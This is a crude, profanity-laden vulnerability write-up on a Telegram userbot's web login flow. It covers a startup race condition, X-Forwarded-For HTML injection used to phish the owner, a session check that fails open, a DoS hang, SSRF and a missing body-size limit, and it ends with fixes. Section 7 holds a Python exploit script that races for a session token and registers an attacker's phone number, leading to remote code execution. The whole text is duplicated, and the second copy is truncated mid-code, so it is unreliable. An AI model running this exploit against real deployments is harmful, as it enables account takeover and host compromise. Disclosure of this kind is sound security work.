right listen up you absolute fucking melts i dug through your legacy codebase and found some proper nasty shit that makes your len(client_data) == 0 guard look like a fucking joke
here is the fucking tea lads
=== 1 the len(client_data) == 0 bypass via race condition fucking hell ===
everyone thinks the extra len(client_data) == 0 check saves legacy from the heroku fail open disaster but it dont innit
heres how you ram straight through it like a stolen moped
the flow bruv
1 bot starts up yeah _init_web creates the web object client_data is empty {} still calm
2 _get_token fires up the web server on 0.0.0.0 while waiting for api token or just runs through if api already set
3 _init_clients loads all the sessions off disk self.clients gets populated with client objects
4 main loop hits asyncio.gather and fires up amain for each client
5 amain does a bunch of shit BEFORE calling add_loader
look at this fucking mess in amain cunt
async def amain(self first client)
client parse_mode = HTML
await client start ← network call takes seconds
db = database Database client
client legacy_db = db
await db init ← db operations takes seconds
translator = Translator client db
await translator init ← translation init takes seconds
modules = loader Modules client db self clients translator
client loader = modules
if self web
await self web add_loader client modules db ← THIS is where client_data finally gets populated you fucking donut
await self web start_if_ready len self clients
see the gap you fucking muppets between the web server being alive and add_loader finally running theres a solid 2 to 5 second window where
self clients is POPULATED from _init_clients ✓
client_data is still EMPTY as a tory promise ✓
_check_session actually checks session in self_sessions instead of returning True for everyone ✓
the web server is FUCKING RUNNING ✓
during this window any cunt on the internet can
1 hit POST web_auth with no session cookie → check_session returns False because clients exist and they got no valid session
2 code falls through to the main logic
3 ops is empty innit cos client_data got no users to send messages to
4 BOOM not ops and len self client_data == 0 → TRUE → returns a valid legacy session token for free
5 use that session to POST send_tg_code with their own phone number → code sent
6 POST tg_code with the code → authenticated
7 POST finish_login → their account is now a legitimate client
8 they got terminal and eval access → full RCE on the host machine lmao
this aint no theoretical bollocks either the amain startup is slow as fuck db init translator init all that shit gives a FAT window for any script kiddie to spam web_auth and scoop up a session like its black friday
=== 2 x forwarded for html injection still fully working ===
the ips variable from X-Forwarded-For header gets shoved straight into bot send_message text= with html parse mode
ips = request headers get X-FORWARDED-FOR None or request remote
msg = await bot send_message
chat_id = user 1 tg_id
text =
🌙🔐 Click button below to confirm web application
f ops\n\n Client IP ips \n cities \n If you did
not request any codes simply ignore this message
no sanitization at all you fucking wallad
what happens when you send
X-Forwarded-For 1 2 3 4 b/broken
telegram api shits itself cos the html is malformed bot send_message throws an exception your bare except Exception pass swallows it ops stays empty and then we are back to the race window above
but wait theres more lmao even if the race window aint open you can still abuse this
you can inject PROPER html through the xff header like
X-Forwarded-For 1 2 3 4\n\nURGENT SECURITY ALERT CLICK BELOW\n\n
and it renders perfectly in the owners telegram looks like a legit security notification and the owner clicks authorize like a good little soldier
free session token for any cunt with half a brain
=== 3 _check_session returns True when no clients loaded ===
look at this fucking disaster
def _check_session self request web Request → bool
return
request cookies get session None in self _sessions
if main legacy clients
else True ← THIS RIGHT HERE OFFICER
when legacy clients is empty this function just goes True for literally any request no session needed no cookies needed nothing
so during fresh install or if all sessions got corrupted every single web endpoint is WIDE FUCKING OPEN
set_tg_api → no auth needed set your own api credentials
send_tg_code → no auth needed register any phone number
tg_code → no auth needed submit the code
finish_login → no auth needed become a client
the attacker doesnt even need the web_auth bypass when this condition holds they can just walk straight through the front door while your _check_session holds it open with a smile
=== 4 DoS via wait_for_web_auth 5 minute hang ===
when xff injection breaks the bot message delivery ops is empty and the code falls through to
if not await main legacy wait_for_web_auth token
this cunt sits there for FIVE MINUTES polling every second
async def wait_for_web_auth self token str → bool
timeout = 5 * 60
polling_interval = 1
for _ in range timeout * polling_interval
await asyncio sleep polling_interval
for client in self clients
if client loader inline pop_web_auth_token token
return True
return False
any script kiddie can spam web_auth with broken xff headers and tie up all your web workers for 5 minutes each effectively DoSing the entire web interface while your single threaded event loop chokes on its own vomit
=== 5 SSRF via freegeoip lookup ===
res = await utils run_sync
requests get
f https freegeoip app json ip
the ip comes straight from the xff header and gets thrown into a requests get call no validation beyond the regex extracting dotted quads
you can feed it internal ips like 127 0 0 1 or 10 0 0 1 or 169 254 169 254 and probe internal services through the bot
also freegeoip app could be malicious or compromised and your bot would happily download and parse json from it
=== 6 no client_max_size on web Application ===
self app = web Application ← no client_max_size set you muppet
anyone can send a multi gigabyte post body and eat all your ram while your shitty pure python http parser cries in the corner
=== 7 the full pwn script innit ===
here is the python that bodies your entire auth system using the race window + xff injection
import asyncio
import aiohttp
import time
target = http 192 168 1 100 8080
phone = +79991234567
async def race_for_session s
while True
try
h = X-Forwarded-For 127 0 0 1
async with s post f target web_auth headers h as r
t = await r text
if t startswith legacy_ and t != TIMEOUT and t != unauthorized
return t
except Exception
pass
await asyncio sleep 0 05 ← 50ms polling during the race window
async def pwn
async with aiohttp ClientSession as s
print waiting for race window
session = await asyncio wait_for race_for_session s timeout 120
print f got session via race lmao session
s cookie_jar update_cookies session session
await s post f target send_tg_code data phone
code = input enter tg code
r = await s post f target tg_code json code code phone phone
if r status == 200
print pwned u own this fucking box now
if name == main
asyncio run pwn
=== how to fix this shit ===
1 stop the race condition — dont start the web server until add_loader has populated client_data for all clients or add a _client_data_ready flag that web_auth checks before processing
2 sanitize the xff input — strip all html tags from ips before injecting into bot send_message or better yet dont use html parse mode for the ip field
3 never return True from _check_session when clients is empty — return False and make the user authenticate properly through the console or a pre shared key
4 add a timeout ceiling — dont let wait_for_web_auth hang for 5 minutes per failed request add a per ip cooldown that escalates
5 validate ip before requests get — only make external requests for public ips skip loopback private and link local ranges
6 set client_max_size on web Application — web Application client_max_size=1010241024 or some sensible limit
7 stop using bare except Exception pass — handle specific exceptions properly and log them you lazy cunts
there you go now fix it before some 14 year old on a minecraft discord bodies your entire userbase
lmao
right listen up you absolute fucking melts i dug through your legacy codebase and found some proper nasty shit that makes your len(client_data) == 0 guard look like a fucking joke
here is the fucking tea lads
=== 1 the len(client_data) == 0 bypass via race condition fucking hell ===
everyone thinks the extra len(client_data) == 0 check saves legacy from the heroku fail open disaster but it dont innit
heres how you ram straight through it like a stolen moped
the flow bruv
1 bot starts up yeah _init_web creates the web object client_data is empty {} still calm
2 _get_token fires up the web server on 0.0.0.0 while waiting for api token or just runs through if api already set
3 _init_clients loads all the sessions off disk self.clients gets populated with client objects
4 main loop hits asyncio.gather and fires up amain for each client
5 amain does a bunch of shit BEFORE calling add_loader
look at this fucking mess in amain cunt
async def amain(self first client)
client parse_mode = HTML
await client start ← network call takes seconds
db = database Database client
client legacy_db = db
await db init ← db operations takes seconds
translator = Translator client db
await translator init ← translation init takes seconds
modules = loader Modules client db self clients translator
client loader = modules
see the gap you fucking muppets between the web server being alive and add_loader finally running theres a solid 2 to 5 second window where
self clients is POPULATED from _init_clients ✓
client_data is still EMPTY as a tory promise ✓
_check_session actually checks session in self_sessions instead of returning True for everyone ✓
the web server is FUCKING RUNNING ✓
during this window any cunt on the internet can
1 hit POST web_auth with no session cookie → check_session returns False because clients exist and they got no valid session
2 code falls through to the main logic
3 ops is empty innit cos client_data got no users to send messages to
4 BOOM not ops and len self client_data == 0 → TRUE → returns a valid legacy session token for free
5 use that session to POST send_tg_code with their own phone number → code sent
6 POST tg_code with the code → authenticated
7 POST finish_login → their account is now a legitimate client
8 they got terminal and eval access → full RCE on the host machine lmao
this aint no theoretical bollocks either the amain startup is slow as fuck db init translator init all that shit gives a FAT window for any script kiddie to spam web_auth and scoop up a session like its black friday
=== 2 x forwarded for html injection still fully working ===
the ips variable from X-Forwarded-For header gets shoved straight into bot send_message text= with html parse mode
ips = request headers get X-FORWARDED-FOR None or request remote
msg = await bot send_message
chat_id = user 1 tg_id
text =
🌙🔐 Click button below to confirm web application
f ops\n\n Client IP ips \n cities \n If you did
not request any codes simply ignore this message
no sanitization at all you fucking wallad
what happens when you send
X-Forwarded-For 1 2 3 4 b/broken
telegram api shits itself cos the html is malformed bot send_message throws an exception your bare except Exception pass swallows it ops stays empty and then we are back to the race window above
but wait theres more lmao even if the race window aint open you can still abuse this
you can inject PROPER html through the xff header like
X-Forwarded-For 1 2 3 4\n\nURGENT SECURITY ALERT CLICK BELOW\n\n
and it renders perfectly in the owners telegram looks like a legit security notification and the owner clicks authorize like a good little soldier
free session token for any cunt with half a brain
=== 3 _check_session returns True when no clients loaded ===
look at this fucking disaster
def _check_session self request web Request → bool
return
request cookies get session None in self _sessions
if main legacy clients
else True ← THIS RIGHT HERE OFFICER
when legacy clients is empty this function just goes True for literally any request no session needed no cookies needed nothing
so during fresh install or if all sessions got corrupted every single web endpoint is WIDE FUCKING OPEN
set_tg_api → no auth needed set your own api credentials
send_tg_code → no auth needed register any phone number
tg_code → no auth needed submit the code
finish_login → no auth needed become a client
the attacker doesnt even need the web_auth bypass when this condition holds they can just walk straight through the front door while your _check_session holds it open with a smile
=== 4 DoS via wait_for_web_auth 5 minute hang ===
when xff injection breaks the bot message delivery ops is empty and the code falls through to
if not await main legacy wait_for_web_auth token
this cunt sits there for FIVE MINUTES polling every second
async def wait_for_web_auth self token str → bool
timeout = 5 * 60
polling_interval = 1
for _ in range timeout * polling_interval
await asyncio sleep polling_interval
for client in self clients
if client loader inline pop_web_auth_token token
return True
return False
any script kiddie can spam web_auth with broken xff headers and tie up all your web workers for 5 minutes each effectively DoSing the entire web interface while your single threaded event loop chokes on its own vomit
=== 5 SSRF via freegeoip lookup ===
res = await utils run_sync
requests get
f https freegeoip app json ip
the ip comes straight from the xff header and gets thrown into a requests get call no validation beyond the regex extracting dotted quads
you can feed it internal ips like 127 0 0 1 or 10 0 0 1 or 169 254 169 254 and probe internal services through the bot
also freegeoip app could be malicious or compromised and your bot would happily download and parse json from it
=== 6 no client_max_size on web Application ===
self app = web Application ← no client_max_size set you muppet
anyone can send a multi gigabyte post body and eat all your ram while your shitty pure python http parser cries in the corner
=== 7 the full pwn script innit ===
here is the python that bodies your entire auth system using the race window + xff injection
import asyncio
import aiohttp
import time
target = http 192 168 1 100 8080
phone = +79991234567
async def race_for_session s
while True
try
h = X-Forwarded-For 127 0 0 1
async with s post f target web_auth headers h as r
t = await r text
if t startswith legacy_ and t != TIMEOUT and t != unauthorized
return t
except Exception
pass
await asyncio sleep 0 05 ← 50ms polling during the race window
async def pwn
async with aiohttp ClientSession as s
print waiting for race window
if name == main
asyncio run pwn
=== how to fix this shit ===
1 stop the race condition — dont start the web server until add_loader has populated client_data for all clients or add a _client_data_ready flag that web_auth checks before processing
2 sanitize the xff input — strip all html tags from ips before injecting into bot send_message or better yet dont use html parse mode for the ip field
3 never return True from _check_session when clients is empty — return False and make the user authenticate properly through the console or a pre shared key
4 add a timeout ceiling — dont let wait_for_web_auth hang for 5 minutes per failed request add a per ip cooldown that escalates
5 validate ip before requests get — only make external requests for public ips skip loopback private and link local ranges
6 set client_max_size on web Application — web Application client_max_size=1010241024 or some sensible limit
7 stop using bare except Exception pass — handle specific exceptions properly and log them you lazy cunts
there you go now fix it before some 14 year old on a minecraft discord bodies your entire userbase
lmao